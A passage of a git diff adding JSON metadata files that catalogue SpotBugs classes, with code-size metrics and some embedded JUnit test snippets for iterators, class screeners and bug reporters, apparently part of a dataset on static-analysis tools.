+ 85 + ], + "code": "@Test\n void testRemoveThroughIterator3() {\n removeThroughIterator(b.propertyIterator(), \"C\");\n checkPropertyIterator(b.propertyIterator(), new String[] { \"A\", \"B\" }, new String[] { \"a\", \"b\" });\n }" + }, + { + "description": "testIterateTooFar", + "expected-problems": null, + "expected-linenumbers": [ + 87, + 96 + ], + "code": "@Test\n void testIterateTooFar() {\n Iterator iter = b.propertyIterator();\n get(iter);\n get(iter);\n get(iter);\n Assertions.assertThrows(NoSuchElementException.class, () -> {\n iter.next();\n });\n }" + }, + { + "description": "testMultipleRemove", + "expected-problems": null, + "expected-linenumbers": [ + 98, + 106 + ], + "code": "@Test\n void testMultipleRemove() {\n Iterator iter = b.propertyIterator();\n iter.next();\n iter.remove();\n Assertions.assertThrows(IllegalStateException.class, () -> {\n iter.remove();\n });\n }" + }, + { + "description": "testRemoveBeforeNext", + "expected-problems": null, + "expected-linenumbers": [ + 108, + 114 + ], + "code": "@Test\n void testRemoveBeforeNext() {\n Iterator iter = b.propertyIterator();\n Assertions.assertThrows(IllegalStateException.class, () -> {\n iter.remove();\n });\n }" + }, + { + "description": "testRemoveAndAdd", + "expected-problems": null, + "expected-linenumbers": [ + 116, + 123 + ], + "code": "@Test\n void testRemoveAndAdd() {\n removeThroughIterator(b.propertyIterator(), \"C\");\n b.setProperty(\"D\", \"d\");\n checkPropertyIterator(b.propertyIterator(), new String[] { \"A\", \"B\", \"D\" }, new String[] { \"a\", \"b\", \"d\" });\n b.setProperty(\"E\", \"e\");\n checkPropertyIterator(b.propertyIterator(), new String[] { \"A\", \"B\", \"D\", \"E\" }, new String[] { \"a\", \"b\", \"d\", \"e\" });\n }" + }, + { + "description": "testRemoveAll1", + "expected-problems": null, + "expected-linenumbers": [ + 125, + 133 + ], + "code": "@Test\n void testRemoveAll1() {\n removeThroughIterator(b.propertyIterator(), \"A\");\n checkPropertyIterator(b.propertyIterator(), new String[] { \"B\", \"C\" }, new String[] { \"b\", \"c\" });\n removeThroughIterator(b.propertyIterator(), \"B\");\n checkPropertyIterator(b.propertyIterator(), new String[] { \"C\" }, new String[] { \"c\" });\n removeThroughIterator(b.propertyIterator(), \"C\");\n checkPropertyIterator(b.propertyIterator(), new String[0], new String[0]);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugPattern.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugPattern.json new file mode 100644 index 0000000..827d722 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugPattern.json @@ -0,0 +1,13 @@ +{ + "name": "BugPattern", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 280, + "branches": 16, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugProperty.json new file mode 100644 index 0000000..5e8e234 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugProperty.json @@ -0,0 +1,13 @@ +{ + "name": "BugProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 159, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRankCategory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRankCategory.json new file mode 100644 index 0000000..350680f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRankCategory.json @@ -0,0 +1,13 @@ +{ + "name": "BugRankCategory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 5, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRanker.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRanker.json new file mode 100644 index 0000000..6df3e33 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugRanker.json @@ -0,0 +1,23 @@ +{ + "name": "BugRanker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 331, + "branches": 47, + "apis": 60, + "test": [ + { + "description": "testTrimToMaxRank", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 19 + ], + "code": "@Test\n void testTrimToMaxRank() {\n SortedBugCollection bugCollection = new SortedBugCollection();\n bugCollection.add(new BugInstance(\"type\", Priorities.HIGH_PRIORITY).addClass(\"the/target/Class\"));\n BugRanker.trimToMaxRank(bugCollection, 0);\n\n assertTrue(bugCollection.getCollection().isEmpty());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReportDispatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReportDispatcher.json new file mode 100644 index 0000000..56396a1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReportDispatcher.json @@ -0,0 +1,13 @@ +{ + "name": "BugReportDispatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 142, + "branches": 5, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporter.json new file mode 100644 index 0000000..ae04ef8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "BugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 5, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporterObserver.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporterObserver.json new file mode 100644 index 0000000..1010935 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugReporterObserver.json @@ -0,0 +1,13 @@ +{ + "name": "BugReporterObserver", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ByteCodePatternDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ByteCodePatternDetector.json new file mode 100644 index 0000000..b112942 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ByteCodePatternDetector.json @@ -0,0 +1,13 @@ +{ + "name": "ByteCodePatternDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 168, + "branches": 19, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BytecodeScanningDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BytecodeScanningDetector.json new file mode 100644 index 0000000..f8cad0b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BytecodeScanningDetector.json @@ -0,0 +1,13 @@ +{ + "name": "BytecodeScanningDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraph.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraph.json new file mode 100644 index 0000000..d543ee5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraph.json @@ -0,0 +1,13 @@ +{ + "name": "CallGraph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphEdge.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphEdge.json new file mode 100644 index 0000000..66ccf4a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphEdge.json @@ -0,0 +1,13 @@ +{ + "name": "CallGraphEdge", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphNode.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphNode.json new file mode 100644 index 0000000..689d224 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallGraphNode.json @@ -0,0 +1,13 @@ +{ + "name": "CallGraphNode", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallSite.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallSite.json new file mode 100644 index 0000000..2f88f7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CallSite.json @@ -0,0 +1,13 @@ +{ + "name": "CallSite", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CategoryFilteringBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CategoryFilteringBugReporter.json new file mode 100644 index 0000000..9263c9e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CategoryFilteringBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "CategoryFilteringBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 3, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CheckBcel.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CheckBcel.json new file mode 100644 index 0000000..f4b1868 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CheckBcel.json @@ -0,0 +1,13 @@ +{ + "name": "CheckBcel", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 124, + "branches": 9, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassAnnotation.json new file mode 100644 index 0000000..fb63d82 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "ClassAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 222, + "branches": 17, + "apis": 36, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassScreener.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassScreener.json new file mode 100644 index 0000000..b44c624 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassScreener.json @@ -0,0 +1,77 @@ +{ + "name": "ClassScreener", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 224, + "branches": 18, + "apis": 46, + "test": [ + { + "description": "testEmptyClassScreener", + "expected-problems": null, + "expected-linenumbers": [ + 82, + 91 + ], + "code": "@Test\n void testEmptyClassScreener() {\n Assertions.assertTrue(emptyScreener.matches(SOME_CLASS_FILENAME));\n Assertions.assertTrue(emptyScreener.matches(SOME_OTHER_CLASS_FILENAME));\n Assertions.assertTrue(emptyScreener.matches(UNRELATED_THING_CLASS_FILENAME));\n\n Assertions.assertTrue(emptyScreener.matches(SOME_CLASS_JARFILENAME));\n Assertions.assertTrue(emptyScreener.matches(SOME_OTHER_CLASS_JARFILENAME));\n Assertions.assertTrue(emptyScreener.matches(UNRELATED_THING_CLASS_JARFILENAME));\n }" + }, + { + "description": "testParticularClassScreener", + "expected-problems": null, + "expected-linenumbers": [ + 93, + 102 + ], + "code": "@Test\n void testParticularClassScreener() {\n Assertions.assertTrue(particularClassScreener.matches(SOME_CLASS_FILENAME));\n Assertions.assertFalse(particularClassScreener.matches(SOME_OTHER_CLASS_FILENAME));\n Assertions.assertFalse(particularClassScreener.matches(UNRELATED_THING_CLASS_FILENAME));\n\n Assertions.assertTrue(particularClassScreener.matches(SOME_CLASS_JARFILENAME));\n Assertions.assertFalse(particularClassScreener.matches(SOME_OTHER_CLASS_JARFILENAME));\n Assertions.assertFalse(particularClassScreener.matches(UNRELATED_THING_CLASS_JARFILENAME));\n }" + }, + { + "description": "testParticularPackageScreener", + "expected-problems": null, + "expected-linenumbers": [ + 104, + 108 + ], + "code": "@Test\n void testParticularPackageScreener() {\n testPackageScreener(particularPackageScreener);\n testPackageScreener(particularPackageScreener2);\n }" + }, + { + "description": "testExcludeOneClass", + "expected-problems": null, + "expected-linenumbers": [ + 119, + 133 + ], + "code": "@Test\n void testExcludeOneClass() {\n ClassScreener screener = new ClassScreener();\n screener.addAllowedClass(\"!\" + SOME_CLASS);\n\n Assertions.assertFalse(screener.vacuous());\n\n Assertions.assertFalse(screener.matches(SOME_CLASS_FILENAME));\n Assertions.assertTrue(screener.matches(SOME_OTHER_CLASS_FILENAME));\n Assertions.assertTrue(screener.matches(UNRELATED_THING_CLASS_FILENAME));\n\n Assertions.assertFalse(screener.matches(SOME_CLASS_JARFILENAME));\n Assertions.assertTrue(screener.matches(SOME_OTHER_CLASS_JARFILENAME));\n Assertions.assertTrue(screener.matches(UNRELATED_THING_CLASS_JARFILENAME));\n }" + }, + { + "description": "testExcludeHasPrecendence", + "expected-problems": null, + "expected-linenumbers": [ + 135, + 143 + ], + "code": "@Test\n void testExcludeHasPrecendence() {\n ClassScreener screener = new ClassScreener();\n screener.addAllowedClass(SOME_CLASS);\n screener.addAllowedClass(\"!\" + SOME_CLASS);\n\n Assertions.assertFalse(screener.matches(SOME_CLASS_FILENAME));\n Assertions.assertFalse(screener.matches(SOME_CLASS_JARFILENAME));\n }" + }, + { + "description": "testPackageClassExclude", + "expected-problems": null, + "expected-linenumbers": [ + 145, + 155 + ], + "code": "@Test\n void testPackageClassExclude() {\n ClassScreener screener = new ClassScreener();\n screener.addAllowedPackage(FOOBAR_PACKAGE);\n screener.addAllowedClass(\"!\" + SOME_CLASS);\n\n Assertions.assertFalse(screener.matches(SOME_CLASS_FILENAME));\n Assertions.assertFalse(screener.matches(SOME_CLASS_JARFILENAME));\n Assertions.assertTrue(screener.matches(SOME_OTHER_CLASS_FILENAME));\n Assertions.assertTrue(screener.matches(SOME_OTHER_CLASS_JARFILENAME));\n }" + }, + { + "description": "testPrefixExcludesPackage", + "expected-problems": null, + "expected-linenumbers": [ + 157, + 167 + ], + "code": "@Test\n void testPrefixExcludesPackage() {\n ClassScreener screener = new ClassScreener();\n screener.addAllowedPackage(FOOBAR_PACKAGE);\n screener.addAllowedPrefix(\"!com.\");\n\n Assertions.assertFalse(screener.matches(SOME_CLASS_FILENAME));\n Assertions.assertFalse(screener.matches(SOME_CLASS_JARFILENAME));\n Assertions.assertFalse(screener.matches(SOME_OTHER_CLASS_FILENAME));\n Assertions.assertFalse(screener.matches(SOME_OTHER_CLASS_JARFILENAME));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassWarningSuppressor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassWarningSuppressor.json new file mode 100644 index 0000000..e701b3d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ClassWarningSuppressor.json @@ -0,0 +1,13 @@ +{ + "name": "ClassWarningSuppressor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CommandLineUiCallback.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CommandLineUiCallback.json new file mode 100644 index 0000000..91f9b2f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CommandLineUiCallback.json @@ -0,0 +1,13 @@ +{ + "name": "CommandLineUiCallback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 200, + "branches": 12, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ComponentPlugin.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ComponentPlugin.json new file mode 100644 index 0000000..6ab9bf9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ComponentPlugin.json @@ -0,0 +1,13 @@ +{ + "name": "ComponentPlugin", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 110, + "branches": 6, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ConfigurableBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ConfigurableBugReporter.json new file mode 100644 index 0000000..abbd3e1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ConfigurableBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "ConfigurableBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 14, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CurrentThreadExecutorService.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CurrentThreadExecutorService.json new file mode 100644 index 0000000..1693769 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/CurrentThreadExecutorService.json @@ -0,0 +1,41 @@ +{ + "name": "CurrentThreadExecutorService", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 4, + "apis": 6, + "test": [ + { + "description": "testCurrentThread", + "expected-problems": null, + "expected-linenumbers": [ + 34, + 51 + ], + "code": "@Test\n void testCurrentThread() throws InterruptedException {\n Thread currentThread = Thread.currentThread();\n ExecutorService executorService = new CurrentThreadExecutorService();\n AtomicBoolean isCalled = new AtomicBoolean();\n try {\n executorService.execute(() -> {\n assertEquals(currentThread, Thread.currentThread());\n isCalled.set(true);\n });\n assertTrue(isCalled.get());\n } finally {\n executorService.shutdown();\n }\n assertTrue(executorService.awaitTermination(1, TimeUnit.SECONDS));\n assertTrue(executorService.isShutdown());\n assertTrue(executorService.isTerminated());\n }" + }, + { + "description": "testCloseTwice", + "expected-problems": null, + "expected-linenumbers": [ + 53, + 62 + ], + "code": "@Test\n void testCloseTwice() {\n ExecutorService executorService = new CurrentThreadExecutorService();\n List remaining = executorService.shutdownNow();\n assertTrue(remaining.isEmpty());\n\n Assertions.assertThrows(IllegalStateException.class, () -> {\n executorService.shutdown();\n });\n }" + }, + { + "description": "awaitTerminationWithoutShutdown", + "expected-problems": null, + "expected-linenumbers": [ + 64, + 70 + ], + "code": "@Test\n void awaitTerminationWithoutShutdown() {\n ExecutorService executorService = new CurrentThreadExecutorService();\n Assertions.assertThrows(IllegalStateException.class, () -> {\n executorService.awaitTermination(1, TimeUnit.SECONDS);\n });\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DeepSubtypeAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DeepSubtypeAnalysis.json new file mode 100644 index 0000000..ce3efc5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DeepSubtypeAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "DeepSubtypeAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 311, + "branches": 48, + "apis": 61, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DelegatingBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DelegatingBugReporter.json new file mode 100644 index 0000000..9962f75 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DelegatingBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "DelegatingBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 4, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector.json new file mode 100644 index 0000000..23312b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector.json @@ -0,0 +1,13 @@ +{ + "name": "Detector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector2.json new file mode 100644 index 0000000..cff2d26 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Detector2.json @@ -0,0 +1,13 @@ +{ + "name": "Detector2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 4, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactory.json new file mode 100644 index 0000000..c0f995f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactory.json @@ -0,0 +1,13 @@ +{ + "name": "DetectorFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 447, + "branches": 39, + "apis": 41, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryChooser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryChooser.json new file mode 100644 index 0000000..0811353 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryChooser.json @@ -0,0 +1,13 @@ +{ + "name": "DetectorFactoryChooser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryCollection.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryCollection.json new file mode 100644 index 0000000..e826954 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorFactoryCollection.json @@ -0,0 +1,13 @@ +{ + "name": "DetectorFactoryCollection", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 555, + "branches": 66, + "apis": 99, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorToDetector2Adapter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorToDetector2Adapter.json new file mode 100644 index 0000000..70fec5e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DetectorToDetector2Adapter.json @@ -0,0 +1,13 @@ +{ + "name": "DetectorToDetector2Adapter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 2, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DiscoverSourceDirectories.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DiscoverSourceDirectories.json new file mode 100644 index 0000000..9b38bbd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/DiscoverSourceDirectories.json @@ -0,0 +1,13 @@ +{ + "name": "DiscoverSourceDirectories", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 475, + "branches": 26, + "apis": 76, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/EmacsBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/EmacsBugReporter.json new file mode 100644 index 0000000..46f0441 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/EmacsBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "EmacsBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 130, + "branches": 13, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ErrorCountingBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ErrorCountingBugReporter.json new file mode 100644 index 0000000..e8748c1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ErrorCountingBugReporter.json @@ -0,0 +1,32 @@ +{ + "name": "ErrorCountingBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 7, + "apis": 14, + "test": [ + { + "description": "reportMissingClassByClassNotFoundException", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 19 + ], + "code": "@Test\n void reportMissingClassByClassNotFoundException() {\n PrintingBugReporter realBugReporter = new PrintingBugReporter();\n ErrorCountingBugReporter bugReporter = new ErrorCountingBugReporter(realBugReporter);\n ClassNotFoundException ex = new ClassNotFoundException(\"Class org.example.Foo cannot be resolved.\");\n bugReporter.reportMissingClass(ex);\n assertThat(bugReporter.getMissingClassCount(), is(1));\n }" + }, + { + "description": "reportMissingClassByClassDescriptor", + "expected-problems": null, + "expected-linenumbers": [ + 21, + 28 + ], + "code": "@Test\n void reportMissingClassByClassDescriptor() {\n PrintingBugReporter realBugReporter = new PrintingBugReporter();\n ErrorCountingBugReporter bugReporter = new ErrorCountingBugReporter(realBugReporter);\n ClassDescriptor classDescriptor = DescriptorFactory.createClassDescriptorFromDottedClassName(\"org.example.Bar\");\n bugReporter.reportMissingClass(classDescriptor);\n assertThat(bugReporter.getMissingClassCount(), is(1));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExcludingHashesBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExcludingHashesBugReporter.json new file mode 100644 index 0000000..d4ec4ee --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExcludingHashesBugReporter.json @@ -0,0 +1,13 @@ +{ + "name": "ExcludingHashesBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 4, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExitCodes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExitCodes.json new file mode 100644 index 0000000..8cf781b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ExitCodes.json @@ -0,0 +1,13 @@ +{ + "name": "ExitCodes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 6, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FatalException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FatalException.json new file mode 100644 index 0000000..09765d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/FatalException.json @@ -0,0 +1,13 @@ +{ + "name": "FatalException", + "language": "java", + 